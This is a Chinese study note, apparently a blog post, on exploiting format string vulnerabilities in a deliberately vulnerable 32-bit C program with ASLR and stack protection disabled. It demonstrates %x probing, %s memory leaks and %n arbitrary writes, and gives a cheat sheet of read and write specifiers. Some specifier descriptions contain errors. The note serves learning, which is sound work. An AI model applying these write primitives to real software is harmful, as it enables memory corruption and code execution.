【逆向学习记录】格式化字符串漏洞利用

#学习记录:格式化字符串漏洞利用
##1 背景

之前在实际漏洞利用的过程中,用过几次格式化字符串,一直都是照葫芦画瓢,一直都是有点模棱两可的,趁着有时间,赶紧把这个漏洞补上。

参考文章:http://www.secbox.cn/hacker/7482.html
http://www.freebuf.com/articles/network/62473.html
http://blog.csdn.net/immcss/article/details/6267849
##2 格式化字符串案例
###2.1 案例编译

#include<stdio.h>
int main() {
    char str[100];
    fgets(str,100,stdin);
    printf(str);
    return 0;
}

编译的过程要把ASLR关闭,使用root权限关闭,然后切换回普通权限
echo 0 > /proc/sys/kernel/randomize_va_space
使用普通的用户组进行编译,注意关闭堆栈保护
gcc -m32 -z execstack -fno-stack-protector format_str.c -o format_str -g
###2.2 案例分析
####2.2.1 探测堆栈分布

当写入ABCD时,内存分布如下
这里写图片描述

可以看出写入的内容是反向的
这里写图片描述
####2.2.2 使用%s泄漏内存info
通过上面的探测,我们发现,其实前面一段输入已经写入内存
比如,如果想要获取地址0x44434241地址的值
ABCD输入之后,探测到第七个%08x为ABCD的值,
如果将这个%08d替换为%s,实际上就相当于从0x44434241这个地址读取一段内存,造成了内存泄漏的漏洞。

因此,如果我要获取0xffffd4f0的值,通过上面的输入对比可知,需要逆转:
\xf0\xd4\xff\xff%08x%08x%08x%08x%08x%08x%s

然而,当从shell输入之后,得到如下结果:程序崩溃了
这里写图片描述
后来发现shell 在读取\x时会自动转化为\x因此难免崩溃了。
因此修改程序如下:

#include<stdio.h>
int main() {
    int a = 0xffffd480;
    int *p = (int*)a;
    *p = 1234;
    printf("\np=%s\n",p);
    // char str[40] = "AAAA%08x%08x%08x%08x%08x";
    char str[40] = "\x80\xd4\xff\xff%08x%08x%08x%s";
    // fgets(str,100,stdin);
    printf(str);
    printf("\np=%s\n",p);
    return 0;
}

这里写图片描述

####2.2.3 %n 写入N

修改代码为:N = 4+ 3*8 = 28

#include<stdio.h>
int main() {
    int a = 0xffffd480;
    int *p = (int*)a;
    *p = 1234;
    printf("\np=%s\n",p);
    // char str[40] = "AAAA%08x%08x%08x%08x%08x";
    char str[40] = "\x80\xd4\xff\xff%08x%08x%08x%n";
    // fgets(str,100,stdin);
    printf(str);
    printf("\np=%d\n",*p);
    return 0;
}

经过探测,发现为第四个%08x,修改为某个可访问地址获得内存信息
这里写图片描述

通过控制位数,完成任意长度构造
char str[40] = "\x80\xd4\xff\xff%08x%08x%100x%n";
##3 备注
当然,这些都是最简单的情况,
关闭了所有的保护,并且使用的32位的程序,
这里写图片描述
真正在实际中,遇到的要比这些复制的多,都是配合shellcode或者跳转到system函数
###3.1 Format
%[标志][输出最小宽度][.精度][长度]类型

其中跟格式化字符串漏洞有关系的主要有以下几点:
1、输出最小宽度:用十进制整数来表示输出的最少位数。若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。
2、类型:
d 表示输出十进制整数*
s 从内存中读取字符串*
x 输出十六进制数*
n 输出十六进制数

http://www.cnblogs.com/Ox9A82/p/5429099.html
32位
读
'%{}$x'.format(index)           // 读4个字节
'%{}$p'.format(index)           // 同上面
'${}$s'.format(index)
写
'%{}$n'.format(index)           // 解引用,写入四个字节
'%{}$hn'.format(index)          // 解引用,写入两个字节
'%{}$hhn'.format(index)         // 解引用,写入一个字节
'%{}$lln'.format(index)         // 解引用,写入八个字节
64位
读
'%{}$x'.format(index, num)      // 读4个字节
'%{}$lx'.format(index, num)     // 读8个字节
'%{}$p'.format(index)           // 读8个字节
'${}$s'.format(index)
写
'%{}$n'.format(index)           // 解引用,写入四个字节
'%{}$hn'.format(index)          // 解引用,写入两个字节
'%{}$hhn'.format(index)         // 解引用,写入一个字节
'%{}$lln'.format(index)         // 解引用,写入八个字节
%1$lx: RSI
%2$lx: RDX
%3$lx: RCX
%4$lx: R8
%5$lx: R9
%6$lx: 栈上的第一个QWORD
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值